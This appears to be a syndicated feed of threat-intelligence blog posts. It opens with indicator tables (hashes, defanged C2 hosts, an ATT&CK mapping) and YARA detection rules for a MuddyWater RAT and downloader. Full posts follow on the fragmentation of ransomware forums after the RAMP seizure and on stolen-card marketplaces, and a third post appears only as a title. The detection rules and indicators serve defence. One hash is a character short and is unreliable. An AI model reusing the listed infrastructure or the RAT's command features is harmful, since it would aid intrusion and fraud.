a92d28f1d32e3a9ab7c3691f8bfca8f7586bb0666adbba47eab3e1a8faf7ecc0

Initial Downloader found during hunt on public repositories

Game.exe

1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

RAT found during hunt on public repositories

WebView2.exe

3df9dcc45d2a3b1f639e40d47eceeafb229f6d9e7f0adcd8f1731af1563ffb90

RAT

visualwincomp.txt

c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

Encrypted config holding C2 url and port information

WebView2Loader.dll

a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

DLL downloaded by ms_upd.exe

dwagent.exe

cd098eddb23f2d2f6c42271ca82803b0d5ac950cb82a9b8ae0928e83945a53df

Remote Management Tool leveraged by the TA

dwagent.exe

cf3dfd1d6626fd2129abb7a5983c11827f4b0d497e2dba146a1889bd71f23cd5

Renamed pythonw.exe

dwagsvc.exe

a3bac548b5bc91c526b4d6707623ddbd1a675aa952f0d1f9a0aa6f7230f09f23

Service binary of DWService

dwaglnc.exe

86e0197389f0573eb83ff53991f337d416124c7c8bd727721ef3d396cd5f65d

Background and system tray binary of DWService

AnyDesk.exe

bfc1675ee1e358db8356f515aaded7962923e426aa0a0a1c0eddfc4dab053f89

Remote Management Tool leveraged by the TA

Network indicators

Indicator

Description

adm-pulse[.]com

Quick Assist themed phishing website

moonzonet[.]com

URL hosting a second stage RAT Game.exe

uploadfiler[.]com

C2 extracted from a config file visualwincomp.txt

77.110.107[.]235

Source IP address of malicious Microsoft Teams activity

93.123.39[.]127

Source IP address of malicious Microsoft Teams activity

172.86.126[.]208

C2 hosting initial downloader ms_upd.exe

116.203.208[.]186

IP contacted by renamed pythonw.exe

hptqq2o2qjva7lcaaq67w36jihzivkaitkexorauw7b2yul2z6zozpqd[.]onion

Chaos RaaS DLS

MITRE ATT&CK techniques

ATT&CK ID

Name

Use

T1566

Phishing (Spearphishing via Service)

Initial access via Microsoft Teams messages and social engineering

T1059

Command and Scripting Interpreter

Execution of discovery commands (ipconfig, whoami, etc.)

T1082

System Information Discovery

Gathering host-level information from compromised machines

T1016

System Network Configuration Discovery

Identifying network configuration via commands like ipconfig

T1078

Valid Accounts

Use of harvested credentials for authentication and access

T1056

Input Capture

Users entering credentials into attacker-directed files/pages

T1556

Modify Authentication Process

MFA manipulation to add attacker-controlled devices

T1021.001

Remote Services: RDP

Remote access to internal systems via RDP sessions

T1219

Remote Access Tools

Use of DWAgent and AnyDesk for persistence and control

T1543

Create or Modify System Process

Installation of DWAgent as a service

T1055

Process Injection / Proxy Execution

Abuse of renamed Python binary for execution

T1105

Ingress Tool Transfer

Downloading payloads via curl (ms_upd.exe)

T1041

Exfiltration Over C2 Channel

Data exfiltration to external infrastructure

T1027

Obfuscated/Encrypted Files or Information

Encrypted configuration (visualwincomp.txt)

T1497

Virtualization/Sandbox Evasion

Anti-VM checks in Game.exe

T1622

Debugger Evasion

Evasion techniques to avoid analysis

T1071

Application Layer Protocol

C2 communication over web protocols

T1573

Encrypted Channel

Encrypted communication with C2 infrastructure

T1133

External Remote Services

VPN access using compromised accounts

T1087

Account Discovery

Identifying user accounts via commands

T1018

Remote System Discovery

Enumerating systems in the network

YARA rules

rule MuddyWaterRAT{

	meta:
		author = "Ivan Feigl [email protected]"
		description = "Hunting rule for the RAT used by the MuddyWater, based on plain text string. Original sample MD5 F8560B9A893EEB2130FC7159E9C1B851"

strings:


		//TKP - Token privilege 
		$TKP1 = "System"
		$TKP2 = "Admin"
		$TKP3 = "User"

        // DF - Data format
		$DF1 = "\"computer_name\":\""
		$DF2 = "\"username\":\"" 
		$DF3 = "\"domain\":\"" 
		$DF4 = "\"local_ip\":\"127.0.0.1\"" 
		$DF5 = "\"privilege\":\"" 
		$DF6 = "\"process_name\":\"agent-" 
		$DF7 = "\"version\":\"E.1.0\"" 
		$DF8 = "\"sleep_time\":60" 


        //IAT - Import address table
        $IAT1   = "GetComputerNameA"
        $IAT2   = "GetUserNameA"
        $IAT3   = "NetWkstaGetInfo"
        $IAT4   = "NetApiBufferFree"
        $IAT5   = "AllocateAndInitializeSid"
        $IAT6   = "OpenProcessToken"
        $IAT7   = "GetTokenInformation"
        $IAT8   = "EqualSid"
        $IAT9   = "CheckTokenMembership"

        //MSC - misc
        $MSC1 = "re_register"
        $MSC2 = "cmd_id"
        $MSC3 = "cmd_id"
        $MSC4 = "run_cmd"
        $MSC5 = "cmd_line"
        $MSC6 = "run_powershell"

		condition:
			uint16(0) == 0x5A4D  and all of($TKP*) and all of($DF*) and all of($IAT*) and all of ($MSC*) 
}

rule MuddyWaterDownloader{

	meta:
		author = "Ivan Feigl [email protected]"
		description = "Hunting rule for the downloader used by the MuddyWater, based on plain text string. Original sample MD5 439C0A0A46627BD166E08436F383AD56"

	strings:


		//ST - Status
		$ST1 = "downloading"
		$ST2 = "running"
		$ST3 = "success"
		$ST4 = "error"

		//SFF - Scanf formats
		$SFF1 = "EXIT_%lu"
		$SFF2 = "RUN_%lu"
		$SFF3 = "DL_%s"

		//ICO - Internet communication operation 
		$ICO1 = "/register" ascii wide
		$ICO2 = "/check" ascii wide
		$ICO3 = "/status" ascii wide
        $ICO4 = "GET" ascii wide
        $ICO5 = "POST" ascii wide
        $ICO6 = "CONN_ERR" ascii wide
        $ICO7 = "REQ_ERR" ascii wide
        $ICO8 = "SEND_ERR" ascii wide
        $ICO9 = "RECV_ERR" ascii wide
        $ICO10 = "HTTP_%lu" ascii wide

        //FO - File operation
        $FO1 = "wb"
        $FO2 = "EMPTY"
        $FO3 = "FILE_ERR"

        // DF - Data format
        $DF1 = "\"client_id\":\"%s\""
        $DF2 = "\"status\":\"%s\""
        $DF3 = "\"error_code\":\"%s\""

        //IAT - Import address table
        $IAT1   = "GetLastError"
        $IAT2   = "Sleep"
        $IAT3   = "WinHttpOpen"
        $IAT4   = "WinHttpConnect"
        $IAT5   = "WinHttpOpenRequest"
        $IAT6   = "WinHttpSendRequest"
        $IAT7   = "WinHttpReceiveResponse"
        $IAT8   = "WinHttpReadData"
        $IAT9   = "WinHttpCloseHandle"
        $IAT10  = "DeleteFileA"



		condition:
			uint16(0) == 0x5A4D  and all of($ST*) and all of($SFF*) and all of($ICO*) and all of ($FO*) and all of ($DF*) and all of ($IAT*)
}

The Post-RAMP Era: Allegations, Fragmentation, and the Rebuilding of the Ransomware Underground

Post Syndicated from Alexandra Blia original https://www.rapid7.com/blog/post/tr-post-ramp-allegations-fragmentation-ransomware-underground-rebuild

Overview

The anatomy of the RAMP disruption

Active since 2021, the RAMP (Ransomware and Advanced Malware Protection) forum has established itself as a prominent hub within the cybercrime ecosystem, particularly for ransomware operators and affiliates coordinating attacks, sharing tooling, and trading access to compromised networks. On 28 January 2026, the Federal Bureau of Investigation (FBI), in coordination with the U.S. Attorney’s Office for the Southern District of Florida and the Computer Crime and Intellectual Property Section of the U.S. Department of Justice (DoJ), seized the forum’s infrastructure (Figure 1).

While public reporting focused primarily on the law enforcement action, the underground reaction revealed a deeper and more consequential development: a collapse of trust and increasing fragmentation within the ransomware community.

Seizure-notice-RAMP-domain.png
Figure 1 – Seizure notice on RAMP’s domain

Shortly after, the RAMP’s administrator, known as “Stallman”, confirmed on the cybercrime forums XSS and Exploit the seizure, stating that he would not attempt to rebuild it (Figure 2). The announcement immediately sparked debate. Some users questioned whether the takedown had been staged or was a “PR exit,” while others accused Stallman of cooperating with authorities. RAMP’s nameservers were subsequently observed pointing to infrastructure controlled by the FBI, confirming the seizure by U.S. law enforcement.

Stallmans-post-on-XSS.png
Figure 2 – Stallman’s post on XSS

Following the announcement, screenshots purporting to show portions of RAMP’s database were circulated via Telegram and reposted across underground forums (Figure 3). These images allegedly contained user email addresses and private messages. Several former RAMP members publicly acknowledged that elements of the leaked data appeared authentic and expressed concern that registration emails, private communications, or operational details could be exposed and potentially leveraged in investigations.

Screenshot-of-alleged-RAMP-leak.png
Figure 3 – Screenshot of alleged RAMP leak

Stallman denied that any breach had occurred, claiming the forum’s disks were encrypted and that the circulating screenshots were fabricated.

Despite competing claims, underground discussions converged around two primary scenarios:

  • Scenario A: Prior breach

    • The database was exfiltrated before the law enforcement seizure, and the subsequent takedown was unrelated to the leak.

  • Scenario B: Insider access

    • An individual with administrative privileges exported the database, either before or during the seizure process.

No clear consensus has emerged. However, based on behavioral patterns observed in previous forum seizures and the technical realities involved, pre-seizure database access appears plausible. Even if the database was encrypted, protection at rest does not prevent extraction while a system is actively running.

There are also unverified allegations that Stallman attempted to sell the database for 10 bitcoin, though these claims remain unsubstantiated.

The alleged leak, combined with accusations of selective moderation and inconsistent rule enforcement, fueled speculation that RAMP may have functioned as a honeypot or had been compromised long before its seizure. While there is no public evidence confirming that RAMP was deliberately operated as a law enforcement trap, perception often matters more than proof in underground ecosystems. As such, the honeypot narrative itself accelerates fragmentation and contributes to a shift toward smaller, more tightly controlled ransomware platforms.

With RAMP gone and no official successor announced, forum users quickly began discussing alternatives. Some argued that XSS should reconsider its prohibition on ransomware-related activity. XSS administrators reiterated that ransomware affiliate recruitment remains banned, likely to avoid attracting heightened law enforcement scrutiny. This sparked debate about the forum’s long-term positioning and whether it would maintain its policy stance or adapt to fill the vacuum left by RAMP.

This cycle of centralized growth to sudden disruption and migration toward successor platforms follows a recurring pattern observed after previous underground takedowns. When a dominant forum falls, the immediate effect is fragmentation and suspicion. In the absence of a trusted central marketplace, actors temporarily disperse, debate compromise theories, and test new governance models. Over time, smaller, vetted communities emerge to re-establish trust through higher entry barriers and tighter moderation. 

A prominent precedent is the shutdown of the cybercrime marketplace RaidForums in 2022, which was followed by the rise of BreachForums, a successor platform that inherited much of the user base and continued many of the same discussions and transactions. RAMP’s disruption appears to be following this familiar trajectory, suggesting not an end to coordination, but a restructuring of how and where it occurs.

Enter T1erOne: A potential successor

The vacuum left by RAMP’s disruption coincided with the emergence of T1erOne in early February, a closed forum with a reputation- and payment-based entry model. Membership requires either verified activity on other underground forums or a $450 payment, emphasizing exclusivity and trust vetting (Figure 4). This structure is designed to reduce the risk of infiltration or exposure, a direct response to the alleged leaks from RAMP.

T1erOne-registration.png
Figure 4 – T1erOne registration

The T1erOne model is further consistent with how RAMP itself operated previously. The forum specifically required proof of activity on other major underground forums or payment of a registration fee to help filter out infiltrators and low-trust actors. While this similarity does not prove T1erOne is RAMP’s direct successor, it makes sense structurally as a model that RAMP veterans would try to replicate.

While closed, paid-entry forums are not new, their emergence immediately after a high-profile seizure suggests defensive adaptation. By raising financial and reputational barriers, administrators reduce infiltration risk while signaling seriousness to high-value actors. If historical patterns hold, the next phase will likely involve smaller clusters of trusted actors consolidating around vetted spaces, with recruitment occurring through referrals rather than open posts. This reduces visibility but increases operational cohesion.

While limited information is available about this forum at the time of writing, it clearly advertises a ransomware offering, suggesting an intention to cover the gap that RAMP left in the cybercrime ecosystem (Figure 5). By openly advertising that ransomware is permitted, T1erOne already differentiates itself from forums like XSS or Exploit, which explicitly ban ransomware discussions or operational planning. This signals to operators that T1erOne is a safe space for ransomware-related activity.

T1erOne-ransomware-advertisement.png
Figure 5 – T1erOne ransomware advertisement

Early indicators from underground discussions suggest that ransomware affiliate programs have already been referenced in promotional posts on the forum, implying that affiliates may be evaluating T1erOne as a potential coordination hub. Notably, the ransomware group Qilin appears to have established an early presence on the platform, actively advertising its Ransomware-as-a-Service (RaaS) offering in an effort to attract new affiliates (Figure 6). There are also references to the Cry0 ransomware group engaging on T1erOne. At the time of writing, however, neither group has publicly referenced the forum on their known communication channels, which may indicate that activity remains exploratory or limited to closed recruitment efforts rather than representing a fully endorsed migration.

Qilin-RaaS-advertisement-T1erOne.jpg
Figure 6 – Qilin RaaS advertisement on T1erOne

T1erOne’s branding does more than advertise ransomware; it signals the continuation of an operational niche designed to fill the gap left in the cybercrime market. For defenders, this underscores a critical reality: The takedown of a public ransomware forum rarely ends operations; it alters where and how they occur. Threat actors migrate to smaller, more controlled communities where similar coordination persists, but with reduced transparency and higher barriers to monitoring. In this environment, disruption does not necessarily translate into deterrence. Rather, it drives a restructuring of the ecosystem into tighter, more resilient clusters, preserving operational continuity for threat actors while diminishing visibility for defenders.

Rehub: Migration to an existing open forum

In parallel with the emergence of T1erOne, ransomware activity has also been observed on Rehub, an underground forum that predates RAMP’s takedown (Figure 7). Domain records indicate that the platform has been active since August 2025, suggesting it was not created in direct response to RAMP’s disruption. However, its recent activity indicates that it is absorbing at least part of the displaced ecosystem.

Rehub-feed-screenshot.png
Figure 7 – Screenshot from Rehub’s feed

Unlike T1erOne, Rehub does not operate as a gated or reputation-based community. Registration requires only a username, password, and the answer to a basic security question, making entry significantly less restrictive. This low barrier to access contrasts sharply with T1erOne’s paid or reputation-based vetting model.

Rapid7 researchers independently verieif that several ransomware actors are already active on the platform. Notably, LockBit and the Gentlemen have maintained a presence on Rehub since September 2025, well before RAMP’s seizure. DragonForce, meanwhile, joined the forum on the same day RAMP was taken offline (Figure 8). The forum contains multiple posts openly advertising or discussing RaaS offerings (Figure 9).

Dragonforce-profile-rehub.png
Figure 8 – DragonForce’s profile on Rehub

Gentlemens-RaaS-advertisement.png
Figure 9 – Gentlemen’s RaaS advertisement

Rehub’s activity demonstrates that migration following RAMP’s disruption is not limited to newly established, closed communities. Instead, some actors appear to be leveraging pre-existing, lower-barrier platforms to continue coordination and recruitment.

Taken together, T1erOne and Rehub illustrate that post-disruption ecosystems rarely converge immediately around a single successor. Instead, they fragment across parallel coordination spaces before longer-term consolidation emerges.

Conclusion: Fragmentation, not finality

The post-RAMP landscape reinforces a familiar reality: Law enforcement can dismantle infrastructure, but it rarely dismantles the ecosystem behind it. Instead, disruption fractures trust and redistributes coordination across multiple platforms.

What has emerged is not a single successor, but diverging migration paths. Gated forums like T1erOne reflect an attempt to rebuild trust through exclusivity, tighter vetting, and higher-entry barriers. At the same time, platforms like Rehub demonstrate that some ransomware actors are leveraging accessible, pre-existing forums to maintain operational continuity and recruitment momentum. This fragmentation suggests adaptation rather than decline. In the immediate aftermath of disruption, dispersion appears to be the dominant pattern, not consolidation.

For defenders, this shift complicates visibility. Monitoring strategies can no longer focus on a single dominant forum. Instead, security teams must track actor migration patterns across multiple environments, identify early RaaS recruitment signals, and correlate underground developments with intrusion activity. As coordination spreads across both gated and open platforms, contextual and timely intelligence becomes critical.

At Rapid7, we continuously monitor underground ecosystems to detect migration trends, emerging coordination spaces, and shifts in affiliate behavior before they scale into campaigns. By combining deep threat intelligence with frontline incident response insights, we help organizations maintain situational awareness even as ransomware coordination becomes more distributed and less predictable.

RAMP’s takedown represents meaningful disruption, but not deterrence. As the ecosystem restructures across both exclusive and open platforms, defenders must adapt just as quickly to maintain the advantage.

Carding-as-a-Service: The Underground Market of Stolen Cards

Post Syndicated from Alexandra Blia original https://www.rapid7.com/blog/post/tr-carding-as-a-service-stolen-credit-cards-fraud

Rapid7 software engineer Eliran Alon also contributed to this post.

Introduction

Despite sustained efforts by the global banking and payments industry, credit card fraud continues to affect consumers and organizations on a large scale. Underground “dump shops” play a central role in this activity, selling stolen credit and debit card data to criminals who use it to conduct unauthorized transactions and broader fraud campaigns. Rather than fading under increased scrutiny, this illicit trade has evolved into a structured, service-like economy that mirrors legitimate online marketplaces in both scale and sophistication.

This evolution has given rise to what can be described as carding-as-a-service (CaaS): a resilient underground market that wraps together stolen payment card data, tools, and support into easily accessible offerings. These stolen credit cards are also often bundled with sensitive personal information, substantially elevating the potential damage to both individuals and organizations, and making the financial loss the least harmful consequence.     

While numerous dump shops have been disrupted or shut down over time, several high-profile marketplaces, including Findsome, UltimateShop, and Brian’s Club, continue to shape the market and influence criminal activity. This blog explores these illegal marketplaces and their operations, shedding light on the modern carding economy and highlighting why stronger detection and prevention efforts remain critical.

The carding economy at a glance

Credit card information available on the black market is generally categorized into three types: credit card numbers, dumps, and ‘fullz’.

  • Credit card numbers (also known as “CVV”) minimally include the data printed on the card: the credit card number itself, cardholder name, expiration date, and the CCV2 security code (found on the back, not to be confused with CVV). This group may also include the associated billing address and phone number.

  • Dumps consist of the raw data from the magnetic stripe tracks. This information is essential for cloning physical credit cards.

  • Fullz offers a more complete profile of the cardholder, containing additional personal information such as the date of birth or Social Security Number (SSN).

The exact origin of the information available on the different marketplaces is unclear and is being obfuscated by the admins and resellers; however, further investigation across different cybercrime forums revealed the common methods through which cards get leaked.

Phishing

Technological improvements have made phishing campaigns much easier to execute. Today, there are phishing-as-a-service (PhaaS) platforms and fraud-as-a-service (FaaS) modules allowing easy setup for new phishing campaigns, along with the infrastructure, page design, and even the collection of credentials or other stolen information (Figure 1). Phishing pages, tricking customers into providing personal financial information (PFI), are still an efficient source for stolen credit information.

phishing-page-creation-using-phishing-as-a-service-provider.png
Figure 1 – Creation of a phishing page using a phishing-as-a-service provider

Physical Devices

Physical hacking tools, and other devices that could be attached to different payment devices or ATMs, are used to transmit information into the hands of a malicious actor. Different specialized stores offer to sell such devices and ship them, once again allowing even a novice to start stealing credit information for future use. Threat actors attempt to stay as up-to-date as possible, adjusting themselves to industry trends. These include “Shimming,” which focuses on modern EMV chips, instead of old “Skimming” devices, which require scanning the entire card (Figure 2). The hacking tools target not only ATMs, but also additional devices with daily credit card use, including gas pumps and point-of-sale (POS) machines.

carding-as-a-service-skimmers.png
Figure 2 – A store specializing in selling skimmers and other physical attachments

Malware

Since the large-scale Target breach in 2013, which resulted in the compromise of millions of credit card records, threat actors have steadily evolved point-of-sale (POS) malware variants such as BlackPOS and MajikPOS (Figure 3). In parallel, the widespread adoption of information-stealing malware (“infostealers”) has enabled attackers to harvest credit card data from a broad range of systems, typically alongside additional personally identifiable information (PII) and user credentials.

POS-malware-MajikPOS-SaaS-module.png
Figure 3 – Threat actor offering POS malware (MajikPOS) in SaaS module

Cross-Site Scripting (XSS)

Many posts found on different cybercrime forums provide carders with tips about how to exploit web security flaws. In some cases, there are actual examples and guides, including code samples for conducting XSS, i.e., redirecting network traffic into the threat actor’s hands through an injected code (usually JavaScript). Malicious actors inject the “sniffer” in the payment page itself, which later copies the inserted payment information and transfers it to them for future use (Figure 4).

carding-as-a-service-coding-sniffers.png
Figure 4 – A threat actor offering instructions for coding sniffers

Key players in the carding underground

Through ongoing changes within the carding ecosystem and the developments made in fraud detection and prevention, the industry of stolen credit card trading continues to flourish. Banks and credit card companies might be fairly good at monitoring individual transactions, but not at disrupting the broader fraud supply chain. CaaS exploits gaps between payment security, identity security, and organizational visibility, monetizing stolen data upstream before fraud ever reaches issuer models. In addition, fraudsters feed on the ever-lasting weakness of the human factor, acting carelessly with personal information and ignoring security warnings.  

These factors, in conjunction with constant market demand, have kept several carding marketplaces, led by Findsome, UltimateShop, and Brian’s Club, in action for a lengthy period. While the design and branding of these marketplaces differ, their core offerings and functionality are largely similar. As a result, their administrators frequently promote their services across dedicated carding marketplaces and broader cybercrime communities.

The main interface of these marketplaces features a streamlined search function that allows users to filter available listings using several parameters, including Bank Identification Number (BIN), country, and “base” – a collection of card records linked to the same issuing bank, card brand (e.g., Visa or Mastercard), and card type, typically compromised within a similar time frame. Filtering options vary slightly between platforms and may include additional criteria such as price range or the availability of supplemental PII, including SSNs.

Search results generally display the card’s expiration date, issuing bank, cardholder name, and approximate geographic location. Each listing also indicates its price and whether it is eligible for a refund. Refund functionality is a critical feature in the carding ecosystem, as it enables buyers to recover funds for cards that later prove invalid. This capability often serves as a differentiating factor between marketplaces, as user complaints on carding marketplaces frequently center on invalid cards, denied refunds, or the resale of outdated card data.

These carding marketplaces do not disclose the sources of their stolen credit card data and appear to rely primarily on third-party vendors offering previously compromised records. This suggests that they operate as aggregators, reselling data obtained from multiple external suppliers after conducting their own quality assessments. While this model enables platforms to increase both the volume and diversity of their listings, it can also lead to inconsistencies in data quality. Additionally, some resellers appear to offer identical datasets across multiple marketplaces to maximize profits, resulting in overlapping bases between platforms (Figure 5).

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Figure 5 – Forum discussion about an UltimateShop reseller

All three marketplaces support Bitcoin payments, while Findsome is currently the only platform that accepts additional cryptocurrencies, including Litecoin and Zcash. Minimum deposit requirements are generally low, ranging from $0 on UltimateShop to $20 on Brian’s Club, likely to reduce barriers to entry and attract new users. In parallel, Findsome and UltimateShop offer deposit bonuses, typically between 5% and 12%, to incentivize larger payments and encourage long-term user engagement.

These marketplaces are hosted on the dark web, with mirrored versions accessible via the surface web. To mitigate the risk of takedowns or law enforcement action, administrators frequently rotate their surface-web domains. This practice has likely contributed to the proliferation of fraudulent domains impersonating legitimate marketplaces, such as findsome[.]ink and findsomes[.]ru for Findsome, and ultimateshops[.]to for UltimateShop. These sites are designed to leverage brand recognition to deceive users and steal funds. In response, the marketplaces publish lists of their official domains and warn users about potential scams in an effort to maintain trust and protect their reputations.

Findsome

Findsome is a deep and dark web carding marketplace that has reportedly been active since 2019. The platform, whose administrators are likely of Russian origin, appears to specialize in the sale of stolen CVV, as well as Fullz. Listings are typically priced between $4 and $25 per record, depending on the perceived “quality” of the data.

Under its “Shop” tab, Findsome enables users to browse and filter available credit card listings of interest (Figure 6). Each listing specifies whether a refund is available should the card prove to be invalid, along with a defined “check time.” The check time refers to a limited window following purchase during which the buyer may attempt to verify the card’s validity and request a refund if necessary.

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Figure 6 – The “Shop” tab on Findsome

During the designated check-time window, users may attempt to validate the purchased record. The marketplace claims to integrate third-party checker services, such as Luxchecker, which it describes as commonly used across comparable platforms. If the validation process indicates that the card is not valid, a refund is reportedly issued (Figure 7).

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Figure 7 – Card validation outcome

Actors associated with the marketplace have been observed seeking “resellers” offering large bases on cybercrime forums (Figure 8). Although Findsome does not explicitly disclose information about its resellers, their aliases appear to be embedded in the naming conventions of the databases. For instance, a database titled “NOV 23 _#(KOJO***) GOOD US JP SE” suggests that it was supplied by a reseller operating under the alias “KOJO***.”

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Figure 8 – Findsome’s post on cardforum.cc

An analysis of the databases published during the second half of 2025 identified the five most frequent resellers in that period (Table 1). These resellers largely dominated Findsome’s inventory, collectively accounting for more than 50% of its offerings. Overall, 51 resellers were active on the platform during this timeframe, with an average market share of approximately 2% per reseller. This distribution suggests that Findsome relies on a broad network of resellers, likely to diversify its listings and reduce dependence on a small number of dominant suppliers.

Reseller

Records

Share

tian*****

303,818

13%

vygg*******

266,382

11%

mapk**

231,797

10%

atla****

231,757

10%

find*****

217,846

9%

Table 1 – Reseller market share

Despite its prominence, Findsome appears to face competition from smaller, emerging platforms. While it is sometimes described within cybercrime communities as relatively “reliable,” discussions on underground forums reveal dissatisfaction with its pricing model. Some actors have criticized the marketplace for charging high prices for data that is frequently invalid (Figure 9), while others view the $100 account activation fee for new users as a significant barrier to entry.

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Figure 9 – Mentions of Findsome on another carding marketplace

UltimateShop 

UltimateShop is a deep and dark web carding marketplace that has been active since at least 2022. Its administrators appear to be of Russian origin and offer mainly CVV and Fullz. The stolen credit cards are priced between $10 and $30 per record, depending on the assessed “quality” of the data.

Under its “Search CCS” tab, UltimateShop allows users to filter and browse available credit card listings (Figure 10). In addition to standard filters such as BIN and issuing bank, the platform enables users to specify a price range, select individual sellers, and limit results to listings for which validation is available. The results section displays key details about the issuing bank and cardholder, as well as the seller’s name, an assessed validity percentage, and refund eligibility. It should be noted that certain BINs and issuing banks are excluded from validation checks on UltimateShop.

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Figure 10 – The “Search CCS” tab on UltimateShop

While purchasing a record, users may initiate a validation check where applicable (Figure 11). UltimateShop does not impose a strict timeframe for this process and does not disclose the checker or validation mechanism used. If the card is deemed invalid (e.g., marked as “Decline”), the user is eligible for a refund.

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Figure 11 – Card validation outcome

UltimateShop’s inventory is largely dominated by a small number of resellers, which collectively accounted for 76% of the platform’s largest offerings during the second half of 2025 (Table 2). SuperUSA appears to be the most prominent seller, contributing approximately 35% of all available records. This concentration indicates a higher reliance on a limited set of resellers and comparatively lower diversification than competing marketplaces such as Findsome. In total, 22 primary resellers were identified on UltimateShop, with an average market share of approximately 5% per reseller.

Reseller

Records

Share

superusa

293,931

35%

best

116,464

14%

virgin

82,672

10%

sanji

79,110

9%

freshsniffer

62,760

8%

Table 2 – Reseller market share on UltimateShop

While UltimateShop remains a well-established platform within the carding ecosystem, its reputation is increasingly being challenged by negative user feedback. Complaints frequently cite high prices and a significant proportion of invalid records, issues that may stem from the platform’s reliance on a small number of potentially unreliable sellers (Figure 12).

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Figure 12 – Discussion about UltimateShop on another carding marketplace

Brian’s Club

Active since 2014, Brian’s Club is a well-established player within the carding ecosystem that was originally created to “troll” security researcher and reporter Brian Krebs and his work. Like other marketplaces, it offers a wide range of listings, categorized as “CVV2,” “Dumps,” and “Fullz” (Figure 13). Prices typically range from $17 to $49, though higher prices are often observed for records that include PINs, an uncommon feature among carding marketplaces.

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Figure 13 – The “Search Dumps” tab on Brian’s Club

Another key point of differentiation for Brian’s Club is its extensive offering of dumps, suggesting explicit support for credit card cloning. This is further reinforced by the availability of a “Track1 Generator” tool, which facilitates the creation of physical copies of compromised cards (Figure 14). Together, these features represent a relatively unique value proposition within the carding market and indicate that Brian’s Club administrators have deliberately positioned the platform to address specific customer needs and prevailing market dynamics.

General statistics

Note: The data in this section, specifically the numerical figures, comes directly from the marketplaces and, therefore, its precision cannot be independently verified or guaranteed.

Out of the examined marketplaces, Findsome has the largest market size with 57.6%, followed by UltimateShop (26.6%) and Brian’s Club (15.8%) (Figure 14).

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Figure 14 – The market size of the examined marketplaces

The vast majority of leaked credit cards are Visa cards (60.4%), followed by Mastercard (32.3%), American Express (4.3%), and Discover (3%), with this distribution remaining consistent across the three examined marketplaces (Figure 15). These numbers, however, do not reflect the actual market size of each brand, as according to the 2025 Nilson Report, Visa and Mastercard control relatively similar market sizes, with 32% and 24%, respectively, and American Express and Discover are far behind with 6% and 0.9%. In addition, the most popular credit card brand, Union Pay, with 36% of the market, is not even among the top 4 most leaked brands, probably due to its relatively unique target audience (China), which is not typically targeted by carders in these marketplaces.

However, the leaked credit cards’ brand distribution more closely resembles their market share in the United States (Visa – 52%, Mastercard – 24%, American Express – 19%, Discover – 5%), which is where most of the victims originate.

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Figure 15 – Leaked credit card brand distribution by marketplace

Most of the leaked credit cards we observed in H2 2025 belong to US customers, followed by ones from Canada (by a large margin) and the United Kingdom (Figure 16). 

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Figure 16 – Global credit card leakage heatmap

When comparing the top 10 countries list of each of the examined marketplaces (Figures 17, 18, and 19), we can see that UltimateShop’s list is somewhat unusual, with rarely targeted countries, like Peru and Norway, making the Top 10 list while surpassing very populated and highly targeted countries, such as the United Kingdom and France. In this sense, it should be noted that the geographic data sourced from UltimateShop contained numerous inconsistencies. Thus, it may not be a reliable indicator of the actual distribution of victims.

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Figure 17 – Top 10 countries with leaked credit cards on Findsome

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Figure 18 – Top 10 countries with leaked credit cards on UltimateShop

top-ten-countries-leaked-credit-cards-Brians-Club.jpg
Figure 19 – Top 10 countries with leaked credit cards on Brian’s Club

When examining the monthly distribution of leaked credit cards (Figure 20), we observe that the largest volume was recorded in November and December, likely due to the shopping season (e.g., Black Friday and Cyber Monday) that occurs around that time.

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Figure 20 – Count of leaked credit cards by country per month

When examining the types of personal information being exposed along with the leaked credit card, we saw that most of the credit cards are also attached with an email address or a phone number (or both), with the highest percentages recorded in UltimateShop (99.4% of the cases), followed by Findsome (87.7%), and Brian’s Club (75.7%). This means that the leakage of a credit card not only poses a risk for financial scams resulting in monetary losses, but also exposes PII, which may lead to identity theft and impersonation attempts.

The future of carding

The carding ecosystem is gradually moving away from large-scale magnetic stripe (“dump”) fraud as EMV adoption makes card cloning harder and less reliable. While shimming and the capture of PINs allow criminals to continue card-present fraud, this approach is riskier, more expensive, and usually limited to specific regions or devices. As a result, EMV-based fraud is unlikely to fully replace the dump economy at scale. Instead, it is expected to support smaller, localized operations rather than the global, highly automated carding marketplaces that dominated in the past.

At the same time, carding marketplaces are increasingly focused on selling richer data sets that include personal and contact information (“Fullz”), not just card details. This shift enables a wider range of fraud, including account takeover, wallet abuse, phishing, and identity-based scams, which are less dependent on the underlying payment technology. Rather than disappearing, carding-as-a-service is evolving into a broader identity-driven ecosystem, where marketplaces supply raw data, and buyers use automation and AI to decide how and where to exploit it.

What organizations should do

The continued growth of carding marketplaces highlights how credit card theft has evolved into a resilient, service-based criminal economy that is difficult to disrupt through takedowns alone. In addition, as stolen cards are increasingly bundled with credentials and personal data, the potential damage inflicted by the CaaS economy has ceased to be purely financial. The impact extends beyond isolated fraud events to long-term identity abuse and account compromise affecting both organizations and consumers.

To cope with the growing threat of stolen credit cards and leaked credentials, organizations should adopt a defense-in-depth approach that combines prevention, detection, and rapid response. This includes strengthening protections against common compromise vectors such as phishing, malware, and web application vulnerabilities by enforcing multi-factor authentication, regularly patching systems, hardening payment pages against client-side attacks, and conducting ongoing security awareness training. At the same time, organizations should invest in continuous monitoring capabilities to detect early signs of exposure, including visibility into dark web and underground marketplaces where stolen card data and credentials are traded. 

By proactively identifying leaked assets, correlating them to their own environments (for example, through BIN monitoring), and responding quickly through card reissuance, credential resets, and fraud monitoring, organizations can significantly reduce both financial losses and downstream risks such as identity theft and account takeover.

Rapid7 customers

There are multiple detections in place for Threat Command and MDRP customers to identify and alert on the threat actor behaviors described in this blog. Specifically, Threat Command monitors dark web activity, including exposed credit card details that are being sold on carding marketplaces. Relevant incidents are flagged based on the customer’s assets, specifically their BIN. When a listing containing these assets is identified, a “Credit Cards For Sale” alert is issued (Figure 21). In addition to notifying customers, these alerts enable them to quickly and securely acquire the detected bot through the “Ask an Analyst” service.

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Figure 21 – Example of an alert about a credit card offered for sale on a carding marketplace

From Extortion to E-commerce: How Ransomware Groups Turn Breaches into Bidding Wars

Post Syndicated from Alexandra Blia original https://www.rapid7.com/blog/post/tr-extortion-ecommerce-ransomware-groups-turn-breaches-into-bidding-wars-research

